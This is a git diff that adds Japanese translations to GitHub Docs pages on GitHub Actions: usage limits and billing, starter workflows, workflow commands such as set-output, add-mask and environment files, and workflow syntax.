 {% endif %}
 
-## Contacting support
+## サポートへの連絡
 
 {% data reusables.github-actions.contacting-support %}
diff --git a/translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
index 3b2a00be5c..79832db60b 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
@@ -1,6 +1,6 @@
 ---
-title: 'Usage limits, billing, and administration'
-intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.'
+title: 使用制限、支払い、管理
+intro: '{% data variables.product.prodname_actions %} ワークフローには使用制限があります。 使用料は、リポジトリの無料の時間とストレージの量を超えるリポジトリに適用されます。'
 redirect_from:
   - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions
   - /actions/reference/usage-limits-billing-and-administration
@@ -16,86 +16,86 @@ shortTitle: Workflow billing & limits
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About billing for {% data variables.product.prodname_actions %}
+## {% data variables.product.prodname_actions %}の支払いについて
 
 {% ifversion fpt or ghec %}
-{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+{% data reusables.github-actions.actions-billing %} 詳細は「[{% data variables.product.prodname_actions %} の支払いについて](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)」を参照してください。
 {% else %}
 GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %}s that use self-hosted runners.
 {% endif %}
 
-## Availability
+## 利用の可否
 
 {% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %}
 
-## Usage limits
+## 使用制限
 
 {% ifversion fpt or ghec %}
-There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change.
+There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. これらの制限は変更されることがあります。
 
 {% note %}
 
-**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+**ノート:** セルフホストランナーの場合、さまざまな使用制限が適用されます。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)」を参照してください。
 
 {% endnote %}
 
-- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete.
+- **ジョブの実行時間** - ワークフロー中のそれぞれのジョブは、最大で6時間の間実行できます。 ジョブがこの制限に達すると、ジョブは終了させられ、完了できずに失敗します。
 {% data reusables.github-actions.usage-workflow-run-time %}
 {% data reusables.github-actions.usage-api-requests %}
-- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as indicated in the following table. If exceeded, any additional jobs are queued.
+- **並行ジョブ** - アカウント内で実行できる並行ジョブ数は、以下の表に示すとおり、利用しているGitHubのプランによります。 この制限を超えた場合、超過のジョブはキューイングされます。
 
-  | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
-  |---|---|---|
-  | Free | 20 | 5 |
-  | Pro | 40 | 5 |
-  | Team | 60 | 5 |
-  | Enterprise | 180 | 50 |
-- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %}
+  | GitHubプラン  | 最大同時ジョブ | 最大同時macOSジョブ |
+  | ---------- | ------- | ------------ |
+  | 無料         | 20      | 5            |
+  | Pro        | 40      | 5            |
+  | Team       | 60      | 5            |
+  | Enterprise | 180     | 50           |
+- **ジョブマトリックス** - {% data reusables.github-actions.usage-matrix-limits %}
 {% data reusables.github-actions.usage-workflow-queue-limits %}
 
 {% else %}
-Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+使用制限は、セルフホストランナーに適用されます。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)」を参照してください。
 {% endif %}
 
 {% ifversion fpt or ghec %}
-## Usage policy
+## 利用のポリシー
 
-In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
+使用制限に加えて、{% data variables.product.prodname_actions %}を[GitHubの利用規約](/free-pro-team@latest/github/site-policy/github-terms-of-service/)内で使っていることを確認しなければなりません。 {% data variables.product.prodname_actions %}の固有の規約に関する詳しい情報については、[GitHubの追加製品規約](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage)を参照してください。
 {% endif %}
 
 {% ifversion fpt or ghes > 3.3 or ghec %}
 ## Billing for reusable workflows
 
-If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. 
+If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository.
 
 For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
 {% endif %}
 
-## Artifact and log retention policy
+## 成果物とログの保持ポリシー
 
-You can configure the artifact and log retention period for your repository, organization, or enterprise account.
+リポジトリ、Organization、または Enterprise アカウントの成果物とログの保持期間を設定できます。
 
 {% data reusables.actions.about-artifact-log-retention %}
 
-For more information, see:
+詳しい情報については、以下を参照してください。
 
 - "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)"
 - "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)"
 - "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
 
-## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization
+## リポジトリあるいはOrganizationでの{% data variables.product.prodname_actions %}の無効化もしくは制限
 
 {% data reusables.github-actions.disabling-github-actions %}
 
-For more information, see:
+詳しい情報については、以下を参照してください。
 - "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)"
-- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
+- 「[Organization の {% data variables.product.prodname_actions %} を無効化または制限する](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)」
 - "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
 
-## Disabling and enabling workflows
+## ワークフローの無効化と有効化
 
-You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}.
+{% data variables.product.prodname_dotcom %} のリポジトリで個々のワークフローを有効化または無効化できます。
 
 {% data reusables.actions.scheduled-workflows-disabled %}
 
-For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
+詳しい情報については、「[ワークフローの無効化と有効化](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)」を参照してください。
diff --git a/translations/ja-JP/content/actions/learn-github-actions/using-starter-workflows.md b/translations/ja-JP/content/actions/learn-github-actions/using-starter-workflows.md
index 9af782bd97..73e4d376ae 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/using-starter-workflows.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/using-starter-workflows.md
@@ -40,15 +40,15 @@ Anyone with write permission to a repository can set up {% data variables.produc
 1. If the starter workflow contains comments detailing additional setup steps, follow these steps. Many of the starter workflow have corresponding guides. For more information, see [the {% data variables.product.prodname_actions %} guides](/actions/guides)."
 1. Some starter workflows use secrets. For example, {% raw %}`${{ secrets.npm_token }}`{% endraw %}. If the starter workflow uses a secret, store the value described in the secret name as a secret in your repository. For more information, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
 1. Optionally, make additional changes. For example, you might want to change the value of `on` to change when the workflow runs.
-1. Click **Start commit**.
+1. [**Start commit**] をクリックします。
 1. Write a commit message and decide whether to commit directly to the default branch or to open a pull request.
 
-## Further reading
+## 参考リンク
 
-- "[About continuous integration](/articles/about-continuous-integration)"
+- [継続的インテグレーションについて](/articles/about-continuous-integration)
 - "[Managing workflow runs](/actions/managing-workflow-runs)"
 - "[About monitoring and troubleshooting](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」
 {% ifversion fpt or ghec %}
-- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+- 「[{% data variables.product.prodname_actions %} の支払いを管理する](/billing/managing-billing-for-github-actions)」
 {% endif %}
diff --git a/translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md b/translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
index 221421424b..c98e8cf61f 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Workflow commands for GitHub Actions
-shortTitle: Workflow commands
-intro: You can use workflow commands when running shell commands in a workflow or in an action's code.
+title: GitHub Actionsのワークフローコマンド
+shortTitle: ワークフロー コマンド
+intro: ワークフロー内あるいはアクションのコード内でシェルコマンドを実行する際には、ワークフローコマンドを利用できます。
 redirect_from:
   - /articles/development-tools-for-github-actions
   - /github/automating-your-workflow-with-github-actions/development-tools-for-github-actions
@@ -19,11 +19,11 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About workflow commands
+## ワークフローコマンドについて
 
-Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks.
+アクションは、 環境変数を設定する、他のアクションに利用される値を出力する、デバッグメッセージを出力ログに追加するなどのタスクを行うため、ランナーマシンとやりとりできます。
 
-Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see ["Environment files".](#environment-files)
+ほとんどのワークフローコマンドは特定の形式で `echo` コマンドを使用しますが、他のワークフローコマンドはファイルへの書き込みによって呼び出されます。 詳しい情報については、「[環境ファイル](#environment-files)」を参照してください。
 
 ``` bash
 echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
@@ -31,25 +31,25 @@ echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
 
 {% note %}
 
-**Note:** Workflow command and parameter names are not case-sensitive.
+**ノート:** ワークフローコマンドおよびパラメータ名では、大文字と小文字は区別されません。
 
 {% endnote %}
 
 {% warning %}
 
-**Warning:** If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands.
+**警告：** コマンドプロンプトを使っているなら、ワークフローコマンドを使う際にダブルクォート文字（`"`）は省いてください。
 
 {% endwarning %}
 
-## Using workflow commands to access toolkit functions
+## ワークフローコマンドを使ったツールキット関数へのアクセス
 
-The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`. For example, instead of using code to set an output, as below:
+[actions/toolkit](https://github.com/actions/toolkit)には、ワークフローコマンドとして実行できる多くの関数があります。 `::`構文を使って、YAMLファイル内でワークフローコマンドを実行してください。それらのコマンドは`stdout`を通じてランナーに送信されます。 たとえば、コードを使用して出力を設定する代わりに、以下のようにします。
 
 ```javascript
 core.setOutput('SELECTED_COLOR', 'green');
 ```
 
-You can use the `set-output` command in your workflow to set the same value:
+ワークフローで `set-output` コマンドを使用して、同じ値を設定できます。
 
 {% raw %}
 ``` yaml
@@ -61,52 +61,53 @@ You can use the `set-output` command in your workflow to set the same value:
 ```
 {% endraw %}
 
-The following table shows which toolkit functions are available within a workflow:
+以下の表は、ワークフロー内で使えるツールキット関数を示しています。
 
-| Toolkit function | Equivalent workflow command |
-| ----------------- |  ------------- |
-| `core.addPath`    | Accessible using environment file `GITHUB_PATH` |
-| `core.debug`      | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %}
-| `core.notice`     | `notice` |{% endif %}
-| `core.error`      | `error` |
-| `core.endGroup`   | `endgroup` |
-| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` |
-| `core.getInput`   | Accessible using environment variable `INPUT_{NAME}` |
-| `core.getState`   | Accessible using environment variable `STATE_{NAME}` |
-| `core.isDebug`    |  Accessible using environment variable `RUNNER_DEBUG` |
-| `core.saveState`  | `save-state` |
-| `core.setCommandEcho` | `echo` |
-| `core.setFailed`  | Used as a shortcut for `::error` and `exit 1` |
-| `core.setOutput`  | `set-output` |
-| `core.setSecret`  | `add-mask` |
-| `core.startGroup` | `group` |
-| `core.warning`    | `warning` |
+| ツールキット関数              | 等価なワークフローのコマンド                                                        |
+| --------------------- | --------------------------------------------------------------------- |
+| `core.addPath`        | Accessible using environment file `GITHUB_PATH`                       |
+| `core.debug`          | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %}
+| `core.notice`         | `notice` 
+{% endif %}
+| `core.error`          | `error`                                                               |
+| `core.endGroup`       | `endgroup`                                                            |
+| `core.exportVariable` | Accessible using environment file `GITHUB_ENV`                        |
+| `core.getInput`       | 環境変数の`INPUT_{NAME}`を使ってアクセス可能                                         |
+| `core.getState`       | 環境変数の`STATE_{NAME}`を使ってアクセス可能                                         |
+| `core.isDebug`        | 環境変数の`RUNNER_DEBUG`を使ってアクセス可能                                         |
+| `core.saveState`      | `save-state`                                                          |
+| `core.setCommandEcho` | `echo`                                                                |
+| `core.setFailed`      | `::error`及び`exit 1`のショートカットとして使われる                                    |
+| `core.setOutput`      | `set-output`                                                          |
+| `core.setSecret`      | `add-mask`                                                            |
+| `core.startGroup`     | `group`                                                               |
+| `core.warning`        | `warning`                                                             |
 
-## Setting an output parameter
+## 出力パラメータの設定
 
 ```
 ::set-output name={name}::{value}
 ```
 
-Sets an action's output parameter.
+アクションの出力パラメータを設定します。
 
-Optionally, you can also declare output parameters in an action's metadata file. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)."
+あるいは、出力パラメータをアクションのメタデータファイル中で宣言することもできます。 詳しい情報については、「[{% data variables.product.prodname_actions %} のメタデータ構文](/articles/metadata-syntax-for-github-actions#outputs)」を参照してください。
 
-### Example
+### サンプル
 
 ``` bash
 echo "::set-output name=action_fruit::strawberry"
 ```
 
-## Setting a debug message
+## デバッグメッセージの設定
 
 ```
 ::debug::{message}
 ```
 
-Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)."
+デバッグメッセージをログに出力します。 ログでこのコマンドにより設定されたデバッグメッセージを表示するには、`ACTIONS_STEP_DEBUG` という名前のシークレットを作成し、値を `true` に設定する必要があります。 詳しい情報については、「[デバッグログの有効化](/actions/managing-workflow-runs/enabling-debug-logging)」を参照してください。
 
-### Example
+### サンプル
 
 ``` bash
 echo "::debug::Set the Octocat variable"
@@ -124,7 +125,7 @@ Creates a notice message and prints the message to the log. {% data reusables.ac
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### サンプル
 
 ``` bash
 echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
@@ -132,48 +133,48 @@ echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 
 {% endif %}
 
-## Setting a warning message
+## 警告メッセージの設定
 
 ```
 ::warning file={name},line={line},endLine={endLine},title={title}::{message}
 ```
 
-Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
+警告メッセージを作成し、ログにそのメッセージを出力します。 {% data reusables.actions.message-annotation-explanation %}
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### サンプル
 
 ``` bash
 echo "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 ```
 
-## Setting an error message
+## エラーメッセージの設定
 
 ```
 ::error file={name},line={line},endLine={endLine},title={title}::{message}
 ```
 
-Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
+エラーメッセージを作成し、ログにそのメッセージを出力します。 {% data reusables.actions.message-annotation-explanation %}
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### サンプル
 
 ``` bash
 echo "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 ```
 
-## Grouping log lines
+## ログの行のグループ化
 
 ```
 ::group::{title}
 ::endgroup::
 ```
 
-Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log.
+展開可能なグループをログ中に作成します。 グループを作成するには、`group`コマンドを使って`title`を指定してください。 `group`と`endgroup`コマンド間でログに出力したすべての内容は、ログ中の展開可能なエントリ内にネストされます。
 
-### Example
+### サンプル
 
 ```bash
 echo "::group::My title"
@@ -181,38 +182,38 @@ echo "Inside group"
 echo "::endgroup::"
 ```
 
-![Foldable group in workflow run log](/assets/images/actions-log-group.png)
+![ワークフローの実行ログ中の折りたたみ可能なグループ](/assets/images/actions-log-group.png)
 
-## Masking a value in log
+## ログ中での値のマスク
 
 ```
 ::add-mask::{value}
 ```
 
-Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`.
+値をマスクすることにより、文字列または値がログに出力されることを防ぎます。 空白で分離された、マスクされた各語は "`*`" という文字で置き換えられます。 マスクの `value` には、環境変数または文字列を持ちいることができます。
 
-### Example masking a string
+### 文字列をマスクするサンプル
 
-When you print `"Mona The Octocat"` in the log, you'll see `"***"`.
+ログに `"Mona The Octocat"` を出力すると、`"***"` が表示されます。
 
 ```bash
 echo "::add-mask::Mona The Octocat"
 ```
 
-### Example masking an environment variable
+### 環境変数をマスクするサンプル
 
-When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`.
+変数 `MY_NAME` または値 `"Mona The Octocat"` をログに出力すると。`"Mona The Octocat"` の代わりに `"***"` が表示されます。
 
 ```bash
 MY_NAME="Mona The Octocat"
 echo "::add-mask::$MY_NAME"
 ```
 
-## Stopping and starting workflow commands
+## ワークフローコマンドの停止と開始
 
 `::stop-commands::{endtoken}`
 
-Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments.
+ワークフローコマンドの処理を停止します。 この特殊コマンドを使うと、意図せずワークフローコマンドを実行することなくいかなるログも取れます。 たとえば、コメントがあるスクリプト全体を出力するためにログ取得を停止できます。
 
 To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands.
 
@@ -286,33 +287,33 @@ The step above prints the following lines to the log:
 
 Only the second `set-output` and `echo` workflow commands are included in the log because command echoing was only enabled when they were run. Even though it is not always echoed, the output parameter is set in all cases.
 
-## Sending values to the pre and post actions
+## pre及びpostアクションへの値の送信
 
-You can use the `save-state` command to create environment variables for sharing with your workflow's `pre:` or `post:` actions. For example, you can create a file with the `pre:` action,  pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file.
+`save-state`コマンドを使って、ワークフローの`pre:`あるいは`post:`アクションと共有するための環境変数を作成できます。 たとえば、`pre:`アクションでファイルを作成し、そのファイルの場所を`main:`アクションに渡し、`post:`アクションを使ってそのファイルを削除できます。 あるいは、ファイルを`main:`アクションで作成し、そのファイルの場所を`post:`アクションに渡し、`post:`アクションを使ってそのファイルを削除することもできます。
 
-If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where `save-state` was used. For more information on the `post:` action, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#post)."
+複数の`pre:`あるいは`post:`アクションがある場合、保存された値にアクセスできるのは`save-state`が使われたアクションの中でのみです。 `post:`アクションに関する詳しい情報については「[{% data variables.product.prodname_actions %}のためのメタデータ構文](/actions/creating-actions/metadata-syntax-for-github-actions#post)」を参照してください。
 
-The `save-state`  command can only be run within an action, and is not available to YAML files. The saved value is stored as an environment value with the `STATE_` prefix.
+`save-state`コマンドはアクション内でしか実行できず、YAMLファイルでは利用できません。 保存された値は、`STATE_`プレフィックス付きで環境変数として保存されます。
 
-This example uses JavaScript to run the `save-state` command. The resulting environment variable is named `STATE_processID` with the value of `12345`:
+以下の例はJavaScriptを使って`save-state`コマンドを実行します。 結果の環境変数は`STATE_processID`という名前になり、`12345`という値を持ちます。
 
 ``` javascript
 console.log('::save-state name=processID::12345')
 ```
 
-The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable:
+そして、`STATE_processID`変数は`main`アクションの下で実行されるクリーンアップスクリプトからのみ利用できます。 以下の例は`main`を実行し、JavaScriptを使って環境変数`STATE_processID`に割り当てられた値を表示します。
 
 ``` javascript
 console.log("The running PID from the main action is: " +  process.env.STATE_processID);
 ```
 
-## Environment Files
+## 環境ファイル
 
-During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files are exposed via environment variables. You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines.
+ワークフローの実行中に、ランナーは特定のアクションを実行する際に使用できる一時ファイルを生成します。 これらのファイルへのパスは、環境変数を介して公開されます。 コマンドを適切に処理するには、これらのファイルに書き込むときに UTF-8 エンコーディングを使用する必要があります。 複数のコマンドを、改行で区切って同じファイルに書き込むことができます。
 
 {% warning %}
 
-**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. Make sure you write files using the correct encoding. For example, you need to set UTF-8 encoding when you set the path:
+**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. 正しいエンコーディングを使用してファイルを書き込むようにしてください。 たとえば、パスを設定するときに UTF-8 エンコーディングを設定する必要があります。
 
 ```yaml
 jobs:
@@ -323,7 +324,7 @@ jobs:
         run: echo "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
 ```
 
-Or switch to PowerShell Core, which defaults to UTF-8: 
+Or switch to PowerShell Core, which defaults to UTF-8:
 
 ```yaml
 jobs:
@@ -337,17 +338,18 @@ jobs:
 More detail about UTF-8 and PowerShell Core found on this great [Stack Overflow answer](https://stackoverflow.com/a/40098904/162694):
 
 > ### Optional reading: The cross-platform perspective: PowerShell _Core_:
-> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - **defaults to *BOM-less UTF-8***, in line with Unix-like platforms.  
+> 
+> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - ***defaults to ***BOM-less UTF-8******, in line with Unix-like platforms.
 
 {% endwarning %}
 
-## Setting an environment variable
+## 環境変数の設定
 
 ``` bash
 echo "{name}={value}" >> $GITHUB_ENV
 ```
 
-Creates or updates an environment variable for any steps running next in a job. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. Environment variables are case-sensitive and you can include punctuation.
+Creates or updates an environment variable for any steps running next in a job. The step that creates or updates the environment variable does not have access to the new value, but all subsequent steps in a job will have access. 環境変数では、大文字と小文字が区別され、句読点を含めることができます。
 
 {% note %}
 
@@ -355,7 +357,7 @@ Creates or updates an environment variable for any steps running next in a job.
 
 {% endnote %}
 
-### Example
+### サンプル
 
 {% raw %}
 ```
@@ -371,9 +373,9 @@ steps:
 ```
 {% endraw %}
 
-### Multiline strings
+### 複数行の文字列
 
-For multiline strings, you may use a delimiter with the following syntax. 
+複数行の文字列の場合、次の構文で区切り文字を使用できます。
 
 ```
 {name}<<{delimiter}
@@ -381,9 +383,9 @@ For multiline strings, you may use a delimiter with the following syntax.
 {delimiter}
 ```
 
-#### Example
+#### サンプル
 
-In this example, we use `EOF` as a delimiter and set the `JSON_RESPONSE` environment variable to the value of the curl response.
+この例では、区切り文字として `EOF` を使用し、`JSON_RESPONSE` 環境変数を cURL レスポンスの値に設定します。
 ```yaml
 steps:
   - name: Set the value
@@ -394,17 +396,17 @@ steps:
       echo 'EOF' >> $GITHUB_ENV
 ```
 
-## Adding a system path
+## システムパスの追加
 
 ``` bash
 echo "{path}" >> $GITHUB_PATH
 ```
 
-Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action.
+Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. ジョブに現在定義されているパスを見るには、ステップもしくはアクション中で`echo "$PATH"`を使うことができます。
 
-### Example
+### サンプル
 
-This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`:
+この例は、ユーザの`$HOME/.local/bin`ディレクトリを`PATH`に追加する方法を示しています。
 
 ``` bash
 echo "$HOME/.local/bin" >> $GITHUB_PATH
diff --git a/translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md b/translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
index f3586ab251..9061c62375 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Workflow syntax for GitHub Actions
-shortTitle: Workflow syntax
-intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration.
+title: GitHub Actionsのワークフロー構文
+shortTitle: ワークフロー構文
+intro: ワークフローは、1つ以上のジョブからなる設定可能な自動化プロセスです。 ワークフローの設定を定義するには、YAMLファイルを作成しなければなりません。
 redirect_from:
   - /articles/workflow-syntax-for-github-actions
   - /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions
@@ -17,27 +17,27 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About YAML syntax for workflows
+## ワークフロー用のYAML構文について
 
-Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %}
+ワークフローファイルはYAML構文を使用し、ファイル拡張子が`.yml`または`.yaml`である必要があります。 {% data reusables.actions.learn-more-about-yaml %}
 
-You must store workflow files in the `.github/workflows` directory of your repository.
+ワークフローファイルは、リポジトリの`.github/workflows`ディレクトリに保存する必要があります。
 
 ## `name`
 
-The name of your workflow. {% data variables.product.prodname_dotcom %} displays the names of your workflows on your repository's actions page. If you omit `name`, {% data variables.product.prodname_dotcom %} sets it to the workflow file path relative to the root of the repository.
+ワークフローの名前。 {% data variables.product.prodname_dotcom %}では、リポジトリのアクションページにワークフローの名前が表示されます。 `name`を省略すると、{% data variables.product.prodname_dotcom %}はリポジトリのルートに対するワークフローファイルの相対パスをその値に設定します。
 
 ## `on`
 
-**Required**. The name of the {% data variables.product.prodname_dotcom %} event that triggers the workflow. You can provide a single event `string`, `array` of events, `array` of event `types`, or an event configuration `map` that schedules a workflow or restricts the execution of a workflow to specific files, tags, or branch changes. For a list of available events, see "[Events that trigger workflows](/articles/events-that-trigger-workflows)."
+**必須**。 ワークフローをトリガーする{% data variables.product.prodname_dotcom %}イベントの名前。 指定できるのは、1つのイベント`string`、複数イベントの`array`、イベント`types`の`array`です。あるいは、ワークフローをスケジュールする、またはワークフロー実行を特定のファイルやタグ、ブランチ変更に限定するイベント設定`map`も指定できます。 使用可能なイベントの一覧は、「[ワークフローをトリガーするイベント](/articles/events-that-trigger-workflows)」を参照してください。
 
 {% data reusables.github-actions.actions-on-examples %}
 
 ## `on.<event_name>.types`
 
-Selects the types of activity that will trigger a workflow run. Most GitHub events are triggered by more than one type of activity.  For example, the event for the release resource is triggered when a release is `published`, `unpublished`, `created`, `edited`, `deleted`, or `prereleased`. The `types` keyword enables you to narrow down activity that causes the workflow to run. When only one activity type triggers a webhook event, the `types` keyword is unnecessary.
